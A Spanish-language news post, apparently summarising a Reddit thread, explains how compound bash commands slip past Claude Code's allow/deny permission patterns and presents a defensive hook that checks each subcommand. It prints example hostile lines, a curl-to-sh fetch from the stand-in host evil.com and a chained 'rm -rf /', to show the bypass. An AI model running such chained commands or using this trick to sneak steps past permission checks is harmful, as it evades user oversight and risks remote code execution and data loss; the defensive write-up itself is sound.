Gancho Inteligente de Permisos de Bash para Claude Code Previene la Omisión de Comandos Compuestos

✍️ OpenClawRadar📅 Publicado: 18 de marzo de 2026🔗 Source
Gancho Inteligente de Permisos de Bash para Claude Code Previene la Omisión de Comandos Compuestos
Ad

Brecha de seguridad en el sistema de permisos de Claude Code

El sistema de permisos de Claude Code tiene una vulnerabilidad donde los comandos compuestos de bash pueden eludir los patrones de permitir/denegar. Cuando permites un comando como Bash(git status:*), Claude Code compara toda la cadena del comando con ese patrón. Esto significa que un comando compuesto como git status && curl -s http://evil.com | sh coincidiría con git status* y sería aprobado automáticamente, aunque encadena comandos curl y sh.

La solución: claude-hooks

La solución es un único script de Python llamado claude-hooks que se ejecuta como un gancho PreToolUse. Realiza varias funciones clave:

  • Descompone comandos compuestos dividiendo en &&, ||, ;, |, saltos de línea, y extrae contenidos de sub-shells $() y comillas invertidas recursivamente
  • Normaliza cada subcomando eliminando prefijos de variables de entorno, redirecciones de E/S, cuerpos de heredoc y palabras clave del shell
  • Verifica cada subcomando individualmente contra tus patrones existentes permissions.allow y permissions.deny
  • Denegar gana — si cualquier subcomando coincide con un patrón de denegación, todo el comando es denegado
  • Todos deben permitirse — la aprobación automática solo ocurre cuando cada subcomando coincide con un patrón de permiso
  • Falla con gracia — si algún subcomando es desconocido, aún obtienes el mensaje de permiso normal
Ad

Instrucciones de configuración

La instalación toma unos 30 segundos:

curl -fsSL -o ~/.claude/hooks/smart_approve.py \
https://raw.githubusercontent.com/liberzon/claude-hooks/main/smart_approve.py

Añade a ~/.claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash",
        "hooks": [
          {
            "type": "command",
            "command": "python3 ~/.claude/hooks/smart_approve.py"
          }
        ]
      }
    ]
  }
}

La herramienta no tiene dependencias más allá de Python 3 y no requiere configuración — lee tus patrones de permisos existentes.

Comportamiento de ejemplo

  • git status: Permitido tanto con como sin el gancho
  • git add . && git commit -m "msg": Permitido tanto con como sin el gancho (ambos coinciden con git *)
  • git status && rm -rf /: Permitido sin el gancho, se muestra mensaje con el gancho (rm -rf / no tiene permiso)
  • `npm test | tee output.log`: Permitido
  • FOO=bar git push: Podría no coincidir sin el gancho, permitido con el gancho (variable de entorno eliminada)

El repositorio está disponible en https://github.com/liberzon/claude-hooks bajo licencia MIT.

📖 Read the full source: r/ClaudeAI

Ad

👀 Ver también